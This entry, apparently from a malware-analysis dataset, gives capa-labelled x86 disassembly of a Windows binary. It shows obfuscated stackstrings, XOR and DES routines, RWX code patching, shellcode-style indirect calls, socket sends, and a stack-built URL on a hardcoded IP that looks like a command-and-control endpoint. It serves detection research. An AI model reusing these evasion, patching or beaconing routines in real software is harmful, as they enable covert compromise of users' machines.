joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006f6b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.0002
call fcn.10004055
mov edi, eax
push edi
call fcn.10006e73
add esp, 0x24
push 0x65
pop eax
mov esi, 0x100445ac
push esi
push 0x28
push 2
push edi
mov word [ebp - 0x38], 0x4d
mov word [ebp - 0x36], 0x69
mov word [ebp - 0x34], 0x63
mov word [ebp - 0x32], 0x72
mov word [ebp - 0x30], 0x6f
mov word [ebp - 0x2e], 0x73
mov word [ebp - 0x2c], 0x6f
mov word [ebp - 0x2a], 0x66
mov word [ebp - 0x28], 0x74
mov word [ebp - 0x26], 0x5c
mov word [ebp - 0x24], 0x53
mov word [ebp - 0x22], ax
mov word [ebp - 0x20], 0x61
mov word [ebp - 0x1e], 0x72
mov word [ebp - 0x1c], 0x63
mov word [ebp - 0x1a], 0x68
mov word [ebp - 0x18], bx
mov word [ebp - 0x14], 0x47
mov word [ebp - 0x12], 0x61
mov word [ebp - 0x10], 0x6d
mov word [ebp - 0xe], ax
mov word [ebp - 0xc], 0x74
mov word [ebp - 0xa], 0x72
mov word [ebp - 8], ax
mov word [ebp - 6], ax
mov word [ebp - 4], bx
call fcn.10006c52
lea eax, [ebp - 0x38]
push eax
push 0x23
push 3
push edi
call fcn.10006c52
lea eax, [ebp - 0x14]
push eax
push 0x23
push 4
push edi
call fcn.10006c52
push esi
push 0x1a
push 5
push edi
call fcn.10006c52
add esp, 0x40
push 0x22
pop ecx
lea eax, [ebp - 0x38]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007065
push 0x12
pop ecx
lea eax, [ebp - 0x14]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10007071
push edi
call fcn.10006b5a
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100148d3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 4
lea eax, [ebp - 4]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0xc]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 0x30
push 0x1005a958
call fcn.10014839
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
xor ecx, ecx
sub edi, eax
lea eax, [ebp + ecx - 0xc]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc ecx
cmp ecx, 6
jl 0x10014914
mov al, byte [ebp - 0xc]
push 0
shr al, 2
call fcn.100148a8
mov cl, byte [ebp - 0xb]
shl al, 4
or byte [ebp - 4], al
mov al, byte [ebp - 0xc]
and al, 3
shl al, 4
shr cl, 4
push 1
or al, cl
call fcn.100148a8
or byte [ebp - 4], al
mov al, byte [ebp - 0xb]
mov cl, byte [ebp - 0xa]
and al, 0xf
shl al, 2
shr cl, 6
push 2
or al, cl
call fcn.100148a8
shl al, 4
or byte [ebp - 3], al
mov al, byte [ebp - 0xa]
push 3
and al, 0x3f
call fcn.100148a8
or byte [ebp - 3], al
mov al, byte [ebp - 9]
push 4
shr al, 2
call fcn.100148a8
mov cl, byte [ebp - 8]
shl al, 4
or byte [ebp - 2], al
mov al, byte [ebp - 9]
and al, 3
shl al, 4
shr cl, 4
push 5
or al, cl
call fcn.100148a8
or byte [ebp - 2], al
mov al, byte [ebp - 8]
mov cl, byte [ebp - 7]
and al, 0xf
shl al, 2
shr cl, 6
push 6
or al, cl
call fcn.100148a8
shl al, 4
or byte [ebp - 1], al
mov al, byte [ebp - 7]
push 7
and al, 0x3f
call fcn.100148a8
or byte [ebp - 1], al
push 4
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x20
push 0x1005a988
call fcn.10014839
pop edi
leave
ret 0xc

Function at 0x100149fc
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x94
push ebx
push esi
push edi
push 8
mov edi, eax
lea eax, [ebp - 0x28]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x74]
push 0x40
push 0x1005a9e8
call fcn.10014839
cmp dword [ebp + 0x7c], 0
push 0x10
lea esi, [ebp - 0x24]
pop ebx
je 0x10014a69
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.100148d3
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x10014a50
add edi, 6
dec ebx
jne 0x10014a3b
jmp 0x10014a98
add edi, 0x5a
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.100148d3
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x10014a81
sub edi, 6
dec ebx
jne 0x10014a6c
pop edi
pop esi
xor eax, eax
pop ebx
mov cl, byte [ebp + eax + 0x5c]
mov byte [ebp + eax + 0x60], cl
mov cl, byte [ebp + eax + 0x58]
mov byte [ebp + eax + 0x64], cl
inc eax
cmp eax, 4
jl 0x10014a9d
push 8
push 0
push dword [ebp + 0x78]
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0x78]
lea eax, [ebp + 0x60]
push eax
push 0x40
push 0x1005a9a8
call fcn.10014839
add ebp, 0x6c
leave
ret 0xc
Function at 0x10014adc
Capabilities:
Encrypt data using des

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
push edi
push 7
xor edi, edi
lea eax, [ebp + 0x68]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x78]
push 0x38
push str.80_
call fcn.10014839
movzx edx, byte [ebp + 0x69]
movzx eax, byte [ebp + 0x6b]
xor ecx, ecx
mov ch, byte [ebp + 0x68]
xor esi, esi
inc esi
or ecx, edx
movzx edx, byte [ebp + 0x6a]
shl ecx, 8
or ecx, edx
mov edx, eax
shl ecx, 4
shr edx, 4
or ecx, edx
and eax, 0xf
shl eax, 8
mov dword [ebp - 0x28], ecx
movzx ecx, byte [ebp + 0x6c]
or eax, ecx
movzx ecx, byte [ebp + 0x6d]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp + 0x6e]
shl eax, 8
or eax, ecx
mov edx, 0x1005aa60
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
dec edx
cmp byte [edx + esi], 2
mov ecx, dword [eax - 4]
mov ebx, ecx
jne 0x10014b88
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
jmp 0x10014ba1
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov dword [eax + 8], ebx
inc esi
add eax, 8
cmp esi, 0x11
jl 0x10014b60
mov ebx, dword [ebp + 0x7c]
push 0x60
push edi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + edi*8 - 0x20]
mov ecx, dword [eax]
mov al, byte [eax]
mov edx, ecx
sar edx, 0x14
mov byte [ebp + 0x60], dl
mov edx, ecx
sar ecx, 4
sar edx, 0xc
mov byte [ebp + 0x62], cl
lea ecx, [ebp + edi*8 - 0x1c]
mov esi, dword [ecx]
mov byte [ebp + 0x61], dl
shl al, 4
mov edx, esi
sar edx, 0x18
and dl, 0xf
or dl, al
mov eax, esi
sar eax, 0x10
mov byte [ebp + 0x64], al
mov eax, esi
sar eax, 8
mov byte [ebp + 0x65], al
mov al, byte [ecx]
push ebx
mov byte [ebp + 0x66], al
lea eax, [ebp + 0x60]
push eax
push 0x30
push 0x1005aa70
mov byte [ebp + 0x63], dl
call fcn.10014839
inc edi
add ebx, 6
cmp edi, 0x10
jl 0x10014bbe
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret 8
Function at 0x10014f3a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 0xc], 0x6b
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x33
mov byte [ebp - 5], 0x32
mov byte [ebp - 4], 0
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x4c
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x62
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x57
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10014fb3
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x10014fb5
xor eax, eax
push 9
pop edx
lea ecx, [ebp - 0xc]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x10014fbb
push 0xd
pop edx
lea ecx, [ebp - 0x1c]
mov byte [ecx], 0
inc ecx
dec edx
jne 0x10014fc8
test eax, eax
je 0x10014fda
push dword [ebp + 8]
call eax
leave
ret
xor eax, eax
leave
ret

Function at 0x10015446
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x30]
push ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x30]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x10015543
push edi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10015529
cmp dword [ebp - 0x1c], 0x20
jne 0x10015529
cmp dword [ebp - 0x18], 0x1000000
jne 0x10015529
cmp dword [ebp - 4], eax
je 0x100154bd
xor ebx, ebx
cmp eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
sete bl
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
add eax, edi
mov dword [ebp - 0x10], eax
jmp 0x10015525
lea eax, [edi + 0x40]
cmp eax, dword [ebp - 0x10]
ja 0x10015529
push 0x40
push dword [ebp + 8]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10015524
lea eax, [ebp - 0x14]
push eax
push 0x40
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10015524
push 0x40
push dword [ebp + 0xc]
push edi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 8], 1
push dword [ebp - 0x24]
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ebx, ebx
inc edi
test ebx, ebx
jne 0x100154ca
mov ecx, dword [ebp - 0x30]
push 0x1c
lea eax, [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x24]
add eax, ecx
push eax
call esi
test eax, eax
jne 0x1001548f
pop edi
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x1001554a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x38]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1001568d
push edi
jmp 0x10015597
xor esi, esi
mov eax, dword [ebp - 0x34]
cmp eax, esi
je 0x1001566f
cmp dword [ebp - 0x24], 0x20
jne 0x1001566f
cmp dword [ebp - 0x20], 0x1000000
jne 0x1001566f
cmp dword [ebp - 0xc], eax
je 0x100155cc
xor ecx, ecx
cmp eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
sete cl
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
add ecx, eax
cmp dword [ebp - 4], esi
mov dword [ebp - 0x18], ecx
je 0x10015672
mov esi, eax
lea ecx, [eax + 0x40]
sub esi, ebx
mov dword [ebp - 8], ecx
add esi, 0x3c
jmp 0x100155f2
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 8], ecx
ja 0x10015672
push 0x40
push dword [ebp + 8]
lea edi, [ebx + esi - 0x3c]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10015665
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10015665
mov eax, dword [ebp + 0xc]
sub eax, edi
lea eax, [eax + ebx - 0x40]
push ebx
mov dword [esi], eax
lea eax, [esi + 4]
push 0x90
push eax
mov byte [esi - 1], 0xe8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x10], 1
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
inc dword [ebp - 8]
inc esi
cmp dword [ebp - 4], 0
jne 0x100155ef
mov eax, dword [ebp - 0x38]
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10015595
pop edi
mov eax, dword [ebp - 0x10]
pop esi
leave
ret
Function at 0x10015693
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor eax, eax
push 0x1c
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x10015748
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10015732
cmp dword [ebp - 0x14], 0x20
je 0x100156e6
cmp dword [ebp - 0x14], 0x10
jne 0x10015732
cmp dword [ebp - 0x10], 0x1000000
jne 0x10015732
cmp dword [ebp - 4], eax
je 0x10015732
cmp eax, edi
mov dword [ebp - 4], eax
ja 0x10015732
mov ecx, dword [ebp - 0x1c]
add eax, ecx
lea edx, [edi + 4]
cmp edx, eax
ja 0x10015732
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push dword [ebp - 0x28]
call ebx
test eax, eax
je 0x10015732
mov eax, dword [ebp + 8]
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 1
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0x1c]
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
jne 0x100156d3
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x10018baa
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov al, 0xff
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
push 0x10018b7b
lea eax, [ebp - 0x40]
push eax
push 0xb
pop ebx
mov byte [ebp - 0x3f], 0x8b
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0x60
mov byte [ebp - 0x3c], 0xfb
mov byte [ebp - 0x39], 0x3b
mov byte [ebp - 0x38], 5
mov byte [ebp - 0x37], 0x84
mov byte [ebp - 0x36], 0x5d
mov byte [ebp - 0x35], 0xea
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x7e
mov byte [ebp - 0x31], 0x8b
mov byte [ebp - 0x30], 0x40
mov byte [ebp - 0x2f], 0x10
mov byte [ebp - 0x2e], 0x8b
mov byte [ebp - 0x2d], 0x48
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 0x89
mov byte [ebp - 0x2a], 0x8d
mov byte [ebp - 0x29], 0x78
mov byte [ebp - 0x28], 0xfb
mov byte [ebp - 0x25], 0x8b
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0xc
mov byte [ebp - 0x22], 0x89
mov byte [ebp - 0x21], 0x95
mov byte [ebp - 0x20], 0x7c
mov byte [ebp - 0x1f], 0xfb
mov byte [ebp - 0x1c], 0xdb
mov byte [ebp - 0x1b], 0x40
mov byte [ebp - 0x1a], 0x10
mov byte [ebp - 0x19], 0xd9
mov byte [ebp - 0x18], 0x9d
mov byte [ebp - 0x17], 0x80
mov byte [ebp - 0x16], 0xfb
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x48
mov byte [ebp - 0x11], 0x14
mov byte [ebp - 0x10], 0xf7
mov byte [ebp - 0xf], 0xd9
mov byte [ebp - 0xe], 0x1b
mov byte [ebp - 0xd], 0xc9
mov byte [ebp - 0xc], 0x81
mov byte [ebp - 0xb], 0xe1
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0xfa
mov byte [ebp - 8], 0xa
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0x81
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0x4d
mov byte [ebp - 3], 0x50
mov byte [ebp - 2], 0x45
mov byte [ebp - 1], 0x47
call fcn.1001554a
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x10019204
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor al, al
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x34], al
mov byte [ebp - 0x29], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 9], al
lea eax, [ebp - 0x40]
push 0x100191ec
push eax
xor ebx, ebx
mov byte [ebp - 0x3f], 0xa3
mov byte [ebp - 0x3e], pe_nt_image_headers32
mov byte [ebp - 0x3d], 0xa8
mov byte [ebp - 0x3c], 0x85
mov byte [ebp - 0x3b], 1
mov byte [ebp - 0x3a], 0xeb
mov byte [ebp - 0x39], 0x15
mov byte [ebp - 0x38], 0x68
mov byte [ebp - 0x37], 0x90
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0xc1
mov byte [ebp - 0x33], 0x8d
mov byte [ebp - 0x32], 0x8d
mov byte [ebp - 0x31], 0x90
mov byte [ebp - 0x30], 0xfd
mov byte [ebp - 0x2f], 0xff
mov byte [ebp - 0x2e], 0xff
mov byte [ebp - 0x2d], 0xe8
mov byte [ebp - 0x2c], 0xd2
mov byte [ebp - 0x2b], 0x9a
mov byte [ebp - 0x2a], 0x22
mov byte [ebp - 0x28], 0xbe
mov byte [ebp - 0x27], 1
mov byte [ebp - 0x23], 0x8b
mov byte [ebp - 0x22], 0xd
mov byte [ebp - 0x21], 0x24
mov byte [ebp - 0x20], 0x2b
mov byte [ebp - 0x1f], 0xd4
mov byte [ebp - 0x1d], 0x85
mov byte [ebp - 0x1c], 0xc9
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x19
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x85
mov byte [ebp - 0x17], 0x90
mov byte [ebp - 0x16], 0xfd
mov byte [ebp - 0x15], 0xff
mov byte [ebp - 0x14], 0xff
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x15
mov byte [ebp - 0x11], 0xd4
mov byte [ebp - 0x10], 0x38
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0x83
mov byte [ebp - 0xc], 0x7c
mov byte [ebp - 0xb], 2
mov byte [ebp - 0xa], pe_nt_image_headers32
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 6
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0xe8
mov byte [ebp - 4], 0xda
mov byte [ebp - 3], 0x22
mov byte [ebp - 2], 0xfe
mov byte [ebp - 1], 0xff
call fcn.1001554a
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x1001931a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1005ec1c]
push esi
push dword [eax]
mov eax, dword [0x1005ec00]
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
push str._s_key_slanguage_s
mov esi, 0x1005ea10
push esi
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x3a
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x2f
mov byte [ebp - 0x25], 0x31
mov byte [ebp - 0x24], 0x33
mov byte [ebp - 0x23], 0x38
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x31
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x33
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x37
mov byte [ebp - 0x19], 0x31
mov byte [ebp - 0x18], 0x2f
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x30
mov byte [ebp - 7], 0x31
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x68
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0xd41980]
add esp, 0x14
mov dword [eax + 0x730], esi
pop esi
leave
ret
Function at 0x1001bd2c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [esi + 0x10]
push ebx
xor ebx, ebx
cmp ax, bx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
je 0x1001bd73
mov eax, dword [esi + 0xc]
imul eax, eax, 0x20080825
push 0xdff6dffa
push 0xe689e67e
mov edi, 0xa20191cb
sub edi, eax
push ebx
push edi
mov dword [esi + 0xc], edi
call fcn.10042e10
and edi, 7
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov ebx, edi
movzx eax, word [esi + 0x10]
lea ecx, [eax + ebx + 4]
shr ecx, 4
lea edi, [esi + 0x1010]
mov byte [edi], cl
mov cl, byte [esi + 0x10]
add cl, bl
add cl, 4
and cl, 0xf
mov byte [esi + 0x1011], cl
mov cx, word [esi + 0x12]
xor cx, word [edi]
xor edx, edx
xor cx, 0x4000
test ax, ax
mov word [esi + 0x1012], cx
jbe 0x1001bdce
movzx eax, dx
lea ecx, [eax + esi]
and eax, 3
mov al, byte [eax + esi + 0xc]
xor al, byte [ecx + 0x14]
inc edx
mov byte [ecx + 0x1014], al
cmp dx, word [esi + 0x10]
jb 0x1001bdb1
push ebx
lea eax, [ebp - 8]
push eax
movzx eax, word [esi + 0x10]
lea eax, [eax + esi + 0x1014]
push eax
call sub.MSVCRT.dll_memcpy
movzx eax, word [esi + 0x10]
push edi
push dword [ebp + 8]
lea eax, [eax + ebx + 4]
call fcn.10026f20
add esp, 0x14
pop edi
pop ebx
leave
ret
Function at 0x10026d6d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and word [ebp - 0x30], 0
push ebx
push esi
push edi
push 0x69
pop edi
push 0x6e
pop ebx
push 0x1a
mov word [ebp - 0x60], 0x41
mov word [ebp - 0x5e], 0x6c
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], di
mov word [ebp - 0x56], 0x61
mov word [ebp - 0x54], 0x4f
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], 0x6c
mov word [ebp - 0x4e], di
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], 0x65
mov word [ebp - 0x48], 0x5c
mov word [ebp - 0x46], 0x53
mov word [ebp - 0x44], 0x65
mov word [ebp - 0x42], 0x74
mov word [ebp - 0x40], 0x75
mov word [ebp - 0x3e], 0x70
mov word [ebp - 0x3c], 0x5c
mov word [ebp - 0x3a], 0x37
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x61
mov word [ebp - 0x32], 0x74
call fcn.10004bd0
mov esi, eax
push 0
push esi
lea eax, [ebp - 0x60]
mov dword [ebp - 4], esi
call fcn.1000424a
add esp, 0xc
push 0x32
pop ecx
lea eax, [ebp - 0x60]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10026e27
push dword [esi]
call fcn.10002dbc
test eax, eax
pop ecx
je 0x10026e5b
mov ecx, dword [0x1005ec18]
mov esi, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [ecx + 4], esi
mov esi, dword [eax]
mov dword [eax + 4], edx
mov edx, dword [ecx]
mov dword [ecx], esi
mov esi, eax
mov dword [eax], edx
call fcn.10004011
mov esi, dword [ebp - 4]
call fcn.10003fe9
and word [ebp - 8], 0
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x2c], 0x41
mov word [ebp - 0x2a], 0x6c
mov word [ebp - 0x28], di
mov word [ebp - 0x26], 0x63
mov word [ebp - 0x24], di
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x5f
mov word [ebp - 0x1e], 0x4f
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], di
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x5f
mov word [ebp - 0x10], 0x53
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x6f
mov word [ebp - 0xa], 0x70
call fcn.1000487b
pop ecx
push 0x26
mov ebx, eax
pop ecx
lea eax, [ebp - 0x2c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10026edc
cmp dword [ebx + 4], 0
je 0x10026f11
push dword [ebx]
call fcn.10003d13
test eax, eax
pop ecx
mov dword [ebp - 4], eax
je 0x10026f11
push dword [eax]
mov edi, dword [eax + 4]
mov esi, dword [0x1005ec18]
call fcn.1000408d
mov edi, dword [ebp - 4]
pop ecx
call fcn.10003da7
mov esi, ebx
call fcn.10003fe9
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x10026f20
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x10026f52
cmp edi, 0x1000
mov eax, 0x1000
jg 0x10026f37
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_send
test eax, eax
jle 0x10026f5c
sub edi, eax
add esi, eax
test edi, edi
jne 0x10026f28
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x10026f59